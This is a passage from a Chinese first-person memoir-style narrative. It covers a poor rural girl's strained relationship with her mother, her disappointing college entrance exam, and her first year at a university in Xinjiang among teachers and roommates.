“革命军人个个要牢记,三大纪律八项注意,第一一切行动听指挥,步调一致才能得胜利!第二不拿群众一针线,群众对我拥护又喜欢。第三一切缴获要归公,努力减轻人民的负担。三大纪律我们要做到,八项注意切莫忘记了。第一说话态度要和好,尊重群众不要耍骄傲。第二买卖价钱要公平,公买公卖不许逞霸道。” 我妈妈边唱边笑,笑地唱不下去了,二大娘可是认认真真地从头唱到尾。我妈妈笑地流出了眼泪。 “唱地真好真好!二嫂子!”我妈妈大笑着拍着手说,“平时没听到你唱的?” “你不唱,哪有人跟我一块儿唱啊?”二大娘说。 “我就是爱唱唱儿,我就是爱说爱笑的!笑一笑,十年少。”我妈妈笑着说,我妈妈边说边擦眼泪擤鼻子。 “我就这样,一笑就淌眼泪。”我妈妈说。 不久后的一天,我跟着妈妈去菜场卖菜。大街上,人来人往。我看到老蔡带着一个男孩在买烤鸭。那男孩长得胖胖的,显然是吃了很多烤鸭的缘故,他是十二还是二十,我戴着眼镜,看不清楚。那男孩一回头,我明白了,那张胖胖的脸跟老蔡的脸一模一样。 我跟我妈妈说:“妈妈,老蔡!带着他儿子买烤鸭的。” 我妈妈说:“狗养的狗疼,猫养的猫疼。不养的不疼。狼痕了肉给小狼羔儿吃,狗痕了骨头给小狗儿吃。人生在世,各人为各人的孩子。那些欺负人的人,有他们的孩子,那些被欺负的人,也有他们的孩子。” 老蔡的儿子长地白白胖胖,贵气逼人,一副见多了世面的有钱人家的小公子的模样。而我呢,衣着寒酸,跟我妈妈一起蹲在大街上卖菜,两眼呆滞地望着前方,看不到任何希望。 我看着那个白白胖胖的男孩子,他生长在更好的家庭,他没有见过风刀霜剑,他没有经历过风吹雨打,跟我比,他更悠游自在,他更沉着大气。他爹比我妈妈厉害,他在他爹的肩膀上生长,他比我有更高更好地平台。如此说来,你说他是不是比我要厉害?如此说来,人家享受富贵,我只能享受贫寒,原也是很公平,原也是应该的。 为什么富贵之人都显得那么谦恭有礼,温文尔雅?为什么苦大仇深的人容易歇斯底里?因为一个在船上看伏尔加河上的风景;一个在伏尔加河上拉纤,为了活命而拼命。因为一个坐在泰坦尼克号上享受丰盛的晚餐,应有尽有,风雨无虞;一个扒着船舷,饿着肚皮,被淋成了落汤鸡,还不敢松手,怕一松手儿就会落水死去。因为一个是生来就高贵的老虎,安安全全处变不惊,看周围狐假虎威,鹬蚌相争,风声鹤唳,草木皆兵;一个是生来就低贱的老鼠,畏畏缩缩,摇尾乞怜,寒碜低下,人人喊打。因为一个生来就处在山巅毫不费力;一个生来就处在幽澗,为了活着拼尽了全力。 听说过“狼性”这个词儿吧,人怎么才能拥有“狼性”呢?原来,有的人是早就拥有一颗狼心,才使人拥有“狼性”这一理想成为可能。 3.逃离 我要去上学了,我妈妈在立勤大爷爷家里烙煎饼。我背着书包去上学的时候,路过立勤大爷爷家,就去立勤大爷爷家的锅屋里找我妈妈说话。锅屋里烟熏火燎的,我妈妈的面前横着一口热热的铁鏊子,左手边放着一个洗衣盆,里头盛着面糊子,右手边的盆子上放着一顶盖帘子,盖帘子上放着一摞刚烙好的煎饼。我很孝敬地蹲在我妈妈身边,看她烙煎饼。 我妈妈的脸上被熏地红红的,她看见我进来,跟我说:“你来陪我说说话的?那边有小板凳,你坐下吧。”我就坐下来。我妈妈边烙煎饼,边跟我说话。 “立围子的恁四舅跟恁四妗子闹离婚了。”我妈妈说,“你说说,谁能想得到啊。恁四妗子生了个女孩儿,叫悠悠。一家三口儿,多好啊。” 我说:“怎么要闹离婚呢?” 我妈妈说:“恁姑姥娘说是恁四妗子的神经病犯了,谁知道来。也说不定是恁四妗子不想跟恁四舅了。恁姑姥娘有意这样说恁四妗子的。” 我说:“离婚了,小孩儿怎么办?跟谁呢?” 我妈妈说:“跟恁姑姥娘。” 我说:“俺四妗子不想小孩儿吗?” 我妈妈说:“怎能不想小孩儿哎。恁四妗子还是跟着她娘家人开着车来的呢。恁四妗子一下车,就想去抱小悠悠。小悠悠被她奶奶坏透了,都不要她妈了。‘俺不要你!俺不要你!俺要跟俺奶奶!’小孩儿不懂事儿,奶奶哪有亲妈好哎!” 我说:“俺四妗子不抢吗?” 我妈妈说:“一个女的,抢不过人家。恁四妗子一要去抱小孩儿,被这边儿的恁大姨、大妗子,一把给推出去,摔地多远。人家不能只要小孩儿,不顾自己的命哎。恁四妗子就又走了。” 我说:“俺四妗子人走了,心能走吧?她的小孩儿在这儿。她当娘的心挂两肠的,可怜吧!” 我妈妈说:“那可是!人做事儿太狠了,不好。会有报应的。恁立围子小三妹离婚了。” 我说:“娘啊?她什么时候结的婚啊?我都没听说。” 我妈妈说:“你天天搁外头上学。你哪知道?小三妮儿出嫁的时候戴着假眼毛,脸上化妆化地俺都不认得了,跟妖精似的。还不如平时好看呢。” 我说:“她恁么小就有婆家了?” 我妈妈说:“她都十好几了,又不上学了,都是自己谈的,当庄上。搁以前,小女孩到了十四五就出嫁了。闺女到了十七八,不是填房就是穷家。” 我说:“小三妹儿是怎么离的婚?” 我妈妈说:“小三妮生完小孩儿得了乙肝。人家婆家嫌弃她,不想要了。老婆婆天天跟她吵架,恁三妹个儿小,打不过她老婆婆。她老婆婆打她,她一还手儿,她老婆婆就把她丈夫喊过来,人家娘俩儿一块儿打。恁小三妹给恁大姨夫打电话,‘爸爸,你快来救命啊!’恁大姨夫摸个扒棍子去的!到那儿把她老婆婆七了扑腾地打了一顿。人家正好找了借口,要跟恁小三妹离婚。” 我说:“离婚以后小孩儿跟谁啊?” 我妈妈说:“恁小三妹生的是小男孩儿,带不走,得跟人家男方。恁小三妹也不能要孩子。她带着孩子以后也难找啊。” 我说:“那她还能去看看那小孩儿吧。” “能!就搁当庄上,恁三妹去把小孩儿抱过来,给买套衣裳,再给送去。”我妈妈说。 我说:“你说小三妹可怜吧,怎么舍得的?” 我妈妈说:“恁小三妹把小孩儿送去以后,回来都哭。舍不得也不行啊。人家又不要了。她还年轻,还得出去上班儿。” 我说:“她那个婆家也确实不能再回去了。她那个婆婆恁么厉害,她丈夫又向着她婆婆。” 我妈妈说:“恁大姨夫都懊悔了,觉得都因为是他打了恁小三妹的老婆婆,人家才跟她离婚的。恁大姨夫问恁小三妹的,‘三儿啊,你恨恁爸爸吧?你还想回去吧?你要是还想回去的话,我找人儿去恁婆家说和说和。’恁小三妹说,‘我不后悔,爸爸,我不回去了。’” 我说:“不怨俺大姨夫,是他娘俩儿先打俺小三妹的。谁爸爸看见自己的闺女被婆家一家子打能不去向啊。” 我妈妈说:“听说人家男方又结婚了,人家是早就找好了,有意跟恁小三妹吵闹,好找个机会把她辞蹬走的。” 我说:“小三妹儿又找了吗?” 我妈妈说:“谁知道来?她早晚也得找啊,恁么年轻,哪能始终一个人哎。一个女人可不容易了,人家光扼。要是没有孩子,人家更扼。女人这辈子就是可怜,没办法。不结婚不行,结婚了男人手没断,能打。” 我看着我妈妈,她边烙煎饼边说话。她不关心我的事,只讲家里的事,庄上的事,她的事,她的烦恼和委屈。她讲地滔滔不断。那些话像是燃烧着的飞机尾翼,带着火焰,飞进了我的心里,让我烦躁不已,让我郁闷不已。 我妈妈说着说着,偶尔看我一眼说:“有亏就想说,有疤就想摸。俺心里有亏不想说嘛。” 我来到她跟前,本想充个乖乖顺顺的孝子,哪知道她是个储存炸药桶的仓库。她把她的火药桶对准了我无限喷射。我的有限的脑容量,实在受不了她海量的喷射。 我还没有跟她一样,忘记了我还要读书,我还要上学。 我跟她说:“妈,我要去上学去了。我快考试了。”我妈妈这才欲罢不能地从刚才的轰炸中停下来。她尚在高速飞驰的牢骚的航行被迫戛然而止,她大概还在为她远远没有说过瘾的话而感到意犹未尽吧。 “你走吧!”她扫兴地跟我说道,她像是还没有吃饱就被收了碗筷的样子。我背着书包站起身儿来。由于实在无法忍受和继续,我这个孝子没有充到底。 “妈,以后这些事儿你不要跟我说了。耽误我学习。”我说。 我妈妈鄙夷地甩我一句道:“俺知道!俺不说了!灌到你脑子里了,影响你学习了!” 我背着书包一个人走在路上。想想我妈妈刚才猛烈的火箭发射,我有些心灰意冷。我想到,我不能再做这样听话的孝子了。我妈妈当然乐意我的无止境的听话的。可是我能吗?我那时候已经高三了。我学习上那么大的负担,她知道吗?我心里喜欢谁,我的满腹的疑惑也想跟我的母亲说一说,可是她从来没有好好地听我说过。仿佛只有她的心事,她的委屈才是事儿。而我的事儿,根本不算事儿。可是,各人装着各人的心事儿。我妈妈只让我来做一个没嘴儿的葫芦来听她的事儿。可是她的那些事儿毕竟跟我还有很大的距离,距离我十八岁的年纪还有很大的距离。跟我需要静心学习的头脑隔着十万八千里。她硬是要塞进我的脑子里。我实在承受不起。 我一个人走在路上。走上了西山头,西山头上,有人种了几亩地的山楂树。那些山楂被墨绿色的叶子簇拥着,红彤彤地挂在枝头上。路上,只有我一个人,没有一点声响。我继续往前走,路两旁种着很多辣椒,尖尖的,长的短的,红的绿的,朝着天的,低着头的。我有些讨厌我的母亲了。我决定以后都尽可能地远离她,远离她的轰炸。 是的。为了我自己,为了我们家,为了我妈妈对我的那些付出,我要远离她。我不能再靠近她,我只要一靠近她,她就对我展开轰炸。她忘记了是她花了钱,流了好多汗,受了很多罪,来供我上学的。她不知道,她的轰炸正在渐渐地毁掉她的努力,正在毁掉我的学习、毁掉我自己。 她的脑袋已经不够清醒了。她自己被无边的愁闷淹没,一旦给她一个开口,她就开始无限释放她的牢骚。我还知道我的主业,我不想再配合她的牢骚的发泄了。我只有专心学习,才能对得起她的付出,我的努力。才能使我们这个家有一点点出头之地。 她只知道她在供我上学,她不知道怎样来供我上学。上学是需要清净的头脑的。而我的妈妈,她的无边无际的牢骚会毁了我。我如果跟她一样,沉浸在她的怨念里,做她听话的乖孩子,我的未来,她的付出,可就真地被她给毁了。我妈妈只知道付出,不知道她的付出还需要回报的。可是,我很清楚,我对她的回报,绝不是不厌其烦地听她的牢骚。我妈妈是吃了很多苦,受了很多气,她是需要倾诉,可是这些不是单单靠我的倾听就能够解决的,我只有好好上学,只有上出学来,才能真正地给她争口气。她的恼,她的怒,也不该说给我的。她可以去找春枝大奶奶说,她也可以找驼背的二大娘说,唯独不该滔滔不绝地忘乎所以地跟我说。 我自己把这个问题想清楚了。在接下来的日子里,我真的就有意地远离我的母亲了。我知道她不高兴了。可是我认定了是对的事,就算她不开心,我还是坚持这么做。我不能让她继续害我。是的,我得感谢老天爷感谢我的父母赋予了我这样的心性。一件事情,只要我清楚了它是对我有害无益的,哪怕是受人抵制,我也坚决逃离。我不在乎别人欢不欢喜。说到这里,我是不是应该感谢一下我伟大的自己? 那时候我睡眠很不好。夜里经常失眠,宿舍里谁戴着耳机听音乐了,谁“哗啦哗啦”翻书了,谁睡觉打呼了,我都睡不着。那时候大家都睡眠不足,一到课间,教室里趴倒一大片。我去药店里卖了安定片。从一开始的一片、两片,到后来的三片、四片,就这样终于熬到了高考。 高考前一天的下午,我回到家想去拿把雨伞。我不知道我是真地想拿把伞,还是妄想回到家能得到一点家的温暖。我就这样到了家。我妈妈高高地坐在床沿儿上,手里拿着她永远也补不完的袋子。她本来就没有好脸色,看见我来了,也还是没有好脸色。 “我回家拿把伞,明天要高考了。”我说。 “拿去吧。”她沉着脸说,大概还没有从刚才的不愉快的心事里走出来,“大恶心家盖屋了,山墙故意高出咱家的。厕所故意对着咱家,有意恶心咱!”可是,我明天就要高考了。我妈妈丝毫不问我吃了吗?喝了吗?她只顾说她的。 我拿上雨伞,默默地走了。 25. 王大桂、赵娇、回族老干爹、老干妈 1.王大桂、赵娇 高考的那几天,我又没有睡好。夜里,我本来想静静地安息,谁知道那么倒霉,我斜对面上铺的一个女生睡不着觉,别人睡不着就眯着吧,她好,捶床大怒,翻来覆去,怨声载床: “哎呀!烦死了!睡不着!睡不着!烦死了!”她愤愤地烦躁地在床上捣着。在她的噪音聒噪下,在她的坏情绪的渲染下,我不知道谁还能睡得着?这个女人不仅睡眠差,心态差,素质更差。她的亲妹妹就在我的对面,小声儿地安慰她:“姐,你慢慢儿睡。” 她还是继续折腾:“哎呀!烦死了!烦死了!”得,我的那么重要的高考睡眠就这样被她给害惨了。 我的高考成绩距离二本线还有几分,很不理想。成绩出来那天,我的心情当然很糟糕。我还记得我还没到家,就看到我弟弟跟我妈妈正翻了一大片玉米秸来晾晒。我弟弟用一个大茶缸子盛了一窝刚出生的小老鼠,笑着端过来给我看。那些小老鼠粉粉的,白白的,跟一个个小饺子一样,我知道那些小老鼠是藏在玉米秸里头的,但是我没有心情跟他笑。我妈妈怕我想不开,叮嘱我弟弟妹妹,让她们谁都不准说我高考失败的事。 “恁大姐没考好,恁都不要说她!恁听到了吗?恁要是揭她的伤疤,我饶不了他!”我妈妈警告我弟弟妹妹说。 是的,我妈妈这个人最大的好处就是不功利不势力。我考得好,她高兴,我考不好,她不嘲笑,不排挤。谁荣华富贵了,她不想着去沾一点好处;谁过地艰难了,她过着自己的苦日子的同时,还想着去拉一把谁。她自己是从泥淖里挣扎过的,所以,她并不会见不得你考地很差。你考地好不好,都不太影响她对你的看法,你有本事没本事,在她的眼里都不是很重要。她本来就没打算要你什么回报。 我填志愿的时候,填了新疆的一所很偏僻的学校。我妈妈怕我填地太远,担心我以后不能常回家看看。她到了晚上就来敲门,让我看看能不能把志愿改了,我从里头把门栓上,不给她开门,我妈妈也就没有办法了。她知道我高考失利,心情不好,这个时候,她倒是变得格外温和,不再跟我发火,也不再难为我。 该去上大学了,我妈妈送我。她烧了开水,放凉了,灌在两个白色的大塑料桶里。她又买了一大包煎饼,带了一包人家给我们的黑咸菜缨子。我们就这样上了火车。 火车上是去新疆拾棉花的农民。他们拖家带口,扛着大大的行李包,有的坐,有的站,夜里就坐在行李上靠着睡在一起。走道上、厕所旁边,座位底下,到处是坐着、躺着的人群。三个、两个,一丛、一窝,像茅草、像兔子,人挤人、人挨人。空气里是人们身上的臭味儿、汗味儿。 半夜,我们在座位上歪头耷脑地睡着了,时而被乘警的声音惊醒:“鸡窝铺到了!鸡窝铺到了!”我睁开眼看看熟睡的人群,再看看外面漆黑的夜空,不知道是谁该下车了。合上眼接着睡。 不一会儿,我又被乘警的骂声惊醒了:“不要你抽烟!又抽起来了!赶紧掐灭!”乘警对着一个光着膀子的男人叫喊着。他手里的皮带抽在车厢上,噼里啪啦地响。穿着蓝色短袖衬衣的乘警这时候成了大家漫漫征途上的好当家,尽管他大呼小叫、骂骂咧咧,可是每次看到他,我的内心总会觉得暖暖的。 我们就这样在火车上坐了三天两夜,才终于到了新疆。我们开始转车,坐汽车去学校。我看到公交车上赫然写着“西域”两个字,啊,敢情我到了西域了。 到了学校大门口儿,就有热情的大二师哥师姐来接我们。我妈妈就要回去了。我舍不得离开我妈妈,难过地哭了。 我妈妈酸着鼻子、掉着眼泪跟我说:“你哭什么的!别哭!人家花木兰从军十二年都不回家。你这才四年。” 我是刚到新疆就后悔了,这儿离家简直比出国还要远啊,我想回去了。 报道的时候,接待我们的是郭老师。郭老师个子很高,眼睛很大,扎着低马尾,头发黑黑,皮肤白白,嘴唇红红的。她的嘴巴有一点点轻微的地包天,这样反而显得她很洋气。她是重庆人。是一个四十岁的中年妇人。那年我二十岁。当她微微地低下头,用她的深沉又悲哀的眼光看着我的时候,我的赤贫的家底儿和我在这样的家庭里所受的所有的委屈都被她尽收眼底了。我还记得,当时,我穿着一双早就过时的粉红色的带鞋袢的鞋子。那种带鞋袢的女式小白鞋在九十年代就开始流行了。后来升级为粉色的。我在她的悲悯的俯视下悲哀又绝望地看着她。我满脸痘痕,毛孔粗大。衣衫过时,神色悲催。她把我叫到她家里去,给我收拾了好几件衣服,还送给我一个红色的大皮箱来给我装东西。她离异了,有一个九岁的女儿,叫蕾蕾,长得很漂亮可人。 我说:“郭老师,您怎么就那么相信我呢?” 郭老师说:“我们阅人无数。一眼就看出来你是什么样的人了。你骗不了我的。我跟你有同样的经历,所以我看到了你就像看到以前的我一样。我也是家里穷。不过……” 郭老师笑了笑说:“这句话跟你说有点不合适。现在的社会,笑贫不笑娼。” 我说:“郭老师,您这样帮我,我都不知道怎么报答您。” 郭老师说:“我不要你报答。我有钱,你看看,我的工资条,我们的工资都是要扣税的。我当年家里也是很穷,我的几个弟弟妹妹全是我一手带大的,我自己上班以后把他们带过来上大学。我一个一个地带,供他们读书,连自己的婚姻大事都耽误了。你看看我家里少什么?就少一个男人。是我主动跟他离婚的,他不上班,人家给他介绍工作他又看不上。我上班回家,他还对我横竖不顺眼。后来我就要跟他离婚。房子是我的。我给他一万块钱。让他走。” 是的,这么好的郭老师却离婚了。她带着孩子自己过。离婚,离婚。为什么离婚就会让一个人身上充满了跟别人不一样的彩色跟伤痕?为什么一个离了婚的女人会让人觉得她不够完整不够完美很弱小很单薄?难道,一个被糟糕的夫妻关系和冷若冰霜的情感,以及吵吵闹闹鸡飞狗跳的家庭氛围所环绕的,一个所谓的完整的家庭,就比离异单身要好?明明是离开了那个糟糕的人离开了那个糟糕的家庭氛围会过得更好,可是,为什么,一个单亲妈妈和一个不能跟父亲住在一起的孩子,让人看起来确实没有那么幸福美好?这是为什么呢?勉强维持的一段糟糕的夫妻关系和一个家庭,难道比离婚要好吗? 我也在离婚和勉强维持的边缘垂死挣扎。这个问题,我搞不清楚。所以我不知道。 也许,离婚以后,没有了那个糟糕的男人,你会觉得生活还是少了很多调料。也许,离婚以后,家里头没有了争吵,你会觉得生活太安静太单调。也许,离婚以后,一个母亲带着一个幼儿,没有了那个糟糕的男人来承担一部分的狮子吼和咆哮,那么她,这个母亲,面对生活的苦累,对自己的幼儿发起火来会更凄厉更暴躁。是的。想来,一个糟糕的男人,对一于个家庭,尤其是对于一个拥有幼儿的家庭来说,还是不必不可少的。那就尽可能不要离婚吧。只要这个男人还可以凑合着使用,只要这个男人还不是糟糕透顶。 是的,我无数次的孤单绝望寒心憎恶厌烦愤恨,我无数次地想到说到要离婚,可是扪心自问,我又不是那么想离婚。对于我来说,人的生命就像一片浮萍,她需要一根藤,哪怕是不那么健壮的一根藤,哪怕是一根瘦弱不堪的藤来勉强维系着,使她不至于在在风雨不定的江湖里漂泊。何况这根藤还没有彻底坏死烂掉,何况这根藤也是在负载着湖水的种种撕扯和压力,一心一意地想跟你维系在一起。 一天下午,我和几个女生一起去学校后门那儿逛街,想买一些生活用品。后门有很多小店儿,有的卖生活用品,有的是小饭馆儿。大街上,有卖烤馕的,有卖烤包子的。同行的赵娇来到了人家卖烤包子的炉子跟前,就走不动了。 她眼泪汪汪地跟人家卖主说:“给我一个吃吧!”我到现在还记得她可怜兮兮地说出这句话的神情。赵娇老家是河南的,听说家境不好。但是她的举动还是让我有些意想不到。我们是出来买东西,又不是出来乞讨。我家里也穷,但是毕竟是二十岁的大姑娘了,不到万不得已,怎么能乞求人家卖包子的给自己一个包子吃呢?这种话怎么能说出口呢? 人家卖家当然没有给她一个烤包子。同行的秋颖看看,人家卖家没有给赵娇一个烤包子吃,自然也不会再给我们每个人一个烤包子吃,就悻悻地催促赵娇跟我们一起离开了。 “走吧,赵娇!”秋颖冷冷地说。好像刚才的店家是多么的为富不仁似的。 她祈求卖家白白给她一个包子吃,卖家没给,同行的秋颖只会觉得她可怜,觉得卖家狠心。可我根本不会这样想。我反而觉得赵娇这个人贪婪没有底线,为了达到自己的目的,可以装可怜。家境贫寒,可以降低自己的要求,维持基本的饱暖,而不是靠装可怜毫无自尊地扩张自己的欲望。很明显,赵娇不是因为饥饿,而是因为嘴馋。一个大姑娘,正常情况下,应该是很拘谨很腼腆的,即使别人看她可怜,白给她一个烤包子,她都会特别不好意思呢,何以赵娇就做地出来说地出来口呢。 我记得我小的时候,有的母亲或者奶奶,牵着小孩子赶集的时候,如果看到人家卖好吃的,自己手里的小孩儿眼巴巴地望着,而自己实在买不起,可能会把小孩赶紧带离,实在不行,才会乞求人家拿一个给自己手里牵着的小孩儿吃。不可能伸手要来给自己吃。赵娇的行为让我不仅不觉得她弱小,反而觉得她内心很强大,不一般的强大。 赵娇虽然家境不好,但是无论是论长相还是论打扮都不像个穷人。她的皮肤很白净,不像我的那么千疮百孔。她的打扮也很洋气,不像我,是真的很穷,很土气。我们都夸她皮肤好,她说:“哎呀,我皮肤哪里好了,多洗洗就行了。”我不太喜欢赵娇,她的脸型像个大头朝上、小头朝下的葫芦,颧骨高高的。她的眼睛大大的,眼球往外鼓着,讲起话来翻着白眼儿。她听人说话的时候,笑嘻嘻的,嘴巴撇着,眼睛鼓着,眼眶瞪着,脸上的神色,好像是饥饿的人看见了大鱼大肉的神色。 我妈妈走了以后,我在宿舍楼下看到了一个老家来的家长,他坐在女生宿舍楼下树荫里的一个石台子上。我看到他还有点惊喜,以为他们又回来了,我妈妈是不是也回来了呢。 我就问他说:“叔叔,你怎么又回来了呢?俺妈妈呢,她也回来了吗?” 那个叔叔神色不定地跟我说:“俺几个老乡路上遇到骗子了。俺的车票钱都给他骗走了,我回来找俺闺女取钱买票的。” 我说:“俺妈妈呢?她怎么没回来?” 那个叔叔说:“恁妈妈带的路费多一点。她已经坐车回去了。她还把多余的钱分出来借给旁人呢。” 一天,我跟王大桂一起走在学校后门儿的路上。王大桂跟我说:“他们几个内地来的老乡去买车票的时候,被骗子给骗了。幸好你妈妈借给我爸爸路费,否则我爸爸要回不了家了。我爸爸欠你妈妈二十块钱,他让我直接把这钱给你。” 说这话的时候,王大桂手里捏着那二十块钱,并没有给我。 我投其所好,主动跟她说:“我们是老乡,我就不要了吧。” 王大桂很高兴,她转过脸儿来,激动地握着我的手,一字千钧地说:“我们以后都是好朋友。” 在她的握手之下,我也变得感动而兴奋了。我大义凛然地认为,我虽然牺牲了二十块钱,但我赢得了她的欢心。舍金钱而换取一份真挚的友谊,我的决定是对的,是值得的。谁知道,我们激动之下建立的友谊很快就崩塌了。 我爱学习。每天没课的时候,我就背着背包去图书馆看书,背书,背书上老师教的内容,背英语四级单词。我知道我家太穷,我妈妈供我上大学太不容易,我只有好好读书,才能对得起我妈妈。大学里,不用学数学了,我吃的也好了。顶多就是辛勤背书。课堂上,凡是老师提问的,我都能对答如流,一时间,我成了老师同学心目中的寒门子弟爱学习的典范。 而王大桂呢,跟我恰恰相反,她爱享受美食,她买了锅碗瓢盆,刀、叉、砧板、插板,蹲在宿舍里的地上做起了饭。她爱上网,还谈起了网恋,她喜欢puter”。 puter去吧!走puter去!嘿嘿!”王大桂快乐地招呼着。 “明天是星期天,我们包夜吧,包夜比较划算。”秋颖说。 “我要买好吃的喝的,今天包夜!”周婕说。 “好!包夜!我把隔壁的赵娇也喊上!赵娇也去!嘿嘿!”王大桂美滋滋地说。 秋颖、周婕,她们几个都去,唯独我不去。如此一来,我跟她们更加没有了共同话题,更加格格不入了。 王大桂上网的时候风光无限,上课的时候,她的日子就不好过了。因为她不爱学习,每逢老师提问,她都是一问三不知,只能红着脸撅着嘴呆呆地委屈地站着。我跟她是老乡又是同一个宿舍,自然成了鲜明的对比。 她对我越来越反感。跟她一起去上网的秋颖、周婕她们也对我反感了起来。 我在教室里经常被老师表扬,在图书馆里也是安心享受读书的时光。只是每次回到宿舍,尤其是王大桂在的时候,那个气氛就特别不对劲儿。常常,我背着书包从图书馆回来,一进宿舍门儿,她们热热闹闹的聊天声就戛然而止。我,作为一个不合群的人出现了。 一天夜里,我们正在熟睡。突然,“砰”地一声,睡在我上铺的王大桂从床上掉下来了。应该摔地不是很重。她坐在地上“啊啊”地叫着。我们都被惊醒了。一个个呆呆地坐在自己的被窝里。 秋颖睡在我对面下铺,她关切地问她:“大桂,你没事吧?”秋颖,她的脸上跟我一样,坑坑洼洼的,长着豆豆。我觉得她的面相看上去,更像是一个三十多岁的田间劳作的憨厚的妇女。但是秋颖有一副天生嗲嗲的细声细气的好嗓子。她说话声音很小,以温柔著称。但是我觉得她的温柔跟她的颜值很不相配,像是一个柔弱的小女孩给一个中年妇女配的音。但是,那声音确实温柔地让人心醉。 睡在斜对面上铺的周婕也问:“大桂,你没事吧?”周婕也经常跟大桂一起去上网,但我听出来了,她的语气明显地没有秋颖表现地那么热切。从她的语气里,我甚至听出来一点好笑的味道。 我们几个人赶紧起来把王大桂扶起来坐好。没多大的问题,我们又继续睡觉。 王大桂这次是受惊了,我们也都很关切。王大桂说她害怕了,不敢睡上铺了。她很快就在学校后门的便利店里买来了一根长长的红红绿绿的绳子。我预感到不妙。 果不其然,王大桂热心地把绳子给我说:“我被摔怕了,我跟你换吧。以后你睡上铺,我睡你的下铺。” 我当时不知道该怎么说,就答应了下来。我说:“好”。王大桂很快跟我换了铺盖。当天晚上我就睡到了上铺。躺在床上,我越想越不对劲,越想越委屈,为什么王大桂害怕摔下来了,就要跟我换?她跟我也不好啊。再说了,她怕摔下来,我就不怕吗?我这样想着,就睡不下去了。 我跟王大桂说:“我睡不习惯,要不我们再换过来吧。”王大桂不高兴地噘着嘴跟我换过来了。 这以后,王大桂看到我就不高兴了。她经常理直气壮地恨恨地说话给我听:“唉,从上铺摔下来,谁心疼啊!”一直对她非常关切的秋颖也跟她同仇敌忾地恨恨地。我就纳闷了,王大桂为什么盯上我了?她不是很排斥我吗?为什么有了坏事就想到我了?还有,秋颖不是对王大桂极为关心吗?她不是睡在下铺吗?她为什么不跟王大桂换她的下铺呢。王大桂怎么不跟她换呢?她不跟王大桂换,王大桂怎么就不恨她呢?我不跟王大桂换下铺,宿舍里其他人是不是都很恨我呢? 田青在跟她爸爸打电话,田青是浙江人,个子小小的,讲话咿里哇啦的,像是说日语。“你在跟你爸爸打电话吗?”我问田青。田青点点头,笑着朝我看了看。 我说:“叔叔好吗?自从送你上大学走了以后,就再也没见过叔叔了。” 田青拿着电话笑着说:“我爸爸说,你以后有机会去我家玩。” 我说:“好啊好啊,我还蛮喜欢你家叔叔的。” 田青打完电话,从她的箱子里拿出来一袋茶叶。那是巴掌大的透明包装袋,看起来毫不起眼儿。 “喝茶吧?”她问我。 “不喝!不喝!不爱喝茶!”我说。 “我这是龙井。我们自家炒的。”她说。 “啊?是龙井啊,喝喝喝!”我说,“我还从来没喝过龙井呢。” “我带了很多,你们一人一袋。”田青说。 吃饭的时候,田青说:“大省,我打的菜太多了,吃不完,分一点给你吧。” “好啊,谢谢!你还够吗?”我说。 “够了,我吃不完。”她说。她端着饭盒走到我跟前,把她碗里的菜拨给我一点。 “素鸡烧肉啊。”我说。 “嗯,够了吧?”她问我。 “够了!够了!别不够你吃的了。”我说。 吃完饭,我背上一个蓝色的“李宁”牌的小背包,准备去图书馆了。 田青说:“大省又背着炸药包去图书馆了。” 黄芳说:“等等我,我也去!你急着去投胎啊!” 我笑着说:“你不说,我又不知道你也要去。” 田青说:“你还别说,大省背着这个背包还蛮好看的。” 我笑着说:“不是你给我的嘛。多好看的背包啊,谁让你不要呀。” 田青说:“我和你们一起出去吧。下雪了,我出去拍几张照片。” 外面下了厚厚的一层雪,我们背着书包在雪地上深一脚浅一脚地走着。田青拿着相机在前头“咔嚓咔嚓”地拍照。黄芳也让她给她拍照。 “来!大省!我给你拍几张!”田青喊我说。 我在雪地里站住,等着她给我拍照。我那时候皮肤白白的,顶着一头黄黄的一点都不直溜儿的头发,头天晚上偷偷地哭过,眼皮肿了,双眼皮变成了单眼皮。 田青举起照相机给我照相的时候,我眯缝着眼睛,冲着田青的镜头木木地笑着。 田青说:“你看大省的鼻子上,万绿丛中一点红。你又挤痘痘了吧?” 黄芳说:“大省的脸,跟地球表面似的。” 我笑着说:“你形容地太好了!哈哈哈哈!” 田青说:“大省,你眼睛怎么肿了啊?” 我说:“我没给王大桂换床,王大桂恨我,老是对我指桑骂槐的。我觉得你们也跟着恨我吧。” 田青说:“大桂太以自我为中心了。” 黄芳说:“就不跟她换!为什么要跟她换?” 我们正说着,身后头,五六个十来岁的小男孩儿走过来了。他们手里拿着雪球。 “嘿!我要打她们!”一个小男孩儿说。他拿着雪球冲我们过来了。 “赶紧跑!”我说。 “不用跑!不用跑!”田青说。 “赶紧跑!他们人多!”我跟黄芳背着书包哐啷哐啷地都跑了。就剩下田青走在后头。我跑了几步,停下来,倒着走着,看落在后头的田青。 “砰砰砰!”一个个雪球打在她身上。 “不要打了!不要打了!”田青躲着那几个雪球说。那几个小男孩儿朝田青扔了几个雪球也跑了。 “跟他们讲道理没有用!你得跑!”我说。 一个下午,我听隔壁宿舍的人说,赵娇没有棉衣穿,冻哭了。我不太相信这是真的。我到了隔壁宿舍,推门儿一看,赵娇正盘腿儿坐在她的床上低头饮泣呢。她的床是进门儿第二个,正对着门口儿。此刻,赵娇正坐在她的床头儿,抱着腿儿,眼圈儿红红,眼泪汪汪,抽抽搭搭地。说实话,我不太相信这个时候还会被冻着。没有好的没有孬的吗。我跟她说:“赵娇,我有一件厚厚的红大衣,郭老师给我的,给你穿吧。”赵娇点头同意了。我就把我那件红大衣拿给她。 放寒假的时候,我们的班主任小郭老师请我们几个不回家的内地生去她宿舍吃火锅。我到了班主任的宿舍的时候,电饭锅里的水已经煮开了。周婕、赵娇、阿甘都在那儿等着了。 班主任的宿舍里,好几个凳子椅子摆了一地。电饭锅和一盆子吃火锅的食材就放在那几个椅子、凳子上。我们几个围坐在一起。 “小郭把钥匙和伙食费交给我,让我看着买。我就跟赵娇看着买了。”周婕说。 “那你们就自己买了啊?你也不跟我们撒尿(商量)!”阿甘操着一口四川口音说。 “撒尿?”我疑惑地说。 “商量!”阿甘笑着说。 赵娇说:“阿甘真是得了便宜还卖乖。你自己不去,还怪我们不跟你商量。” 周婕说:“阿甘,你的普通话好菜哦,人家宋大省都听不懂。” 阿甘笑着说:“那我的普通话也比她的好。宋大省到现在还说家乡话呢。” 周婕说:“人家宋大省的普通话还得了个二甲呢,你好像只得了二乙吧。” 阿甘笑着说:“要那么好干嘛?我又不是主持人。我要是做主持人,我就考个一甲。至少也得是一乙。” 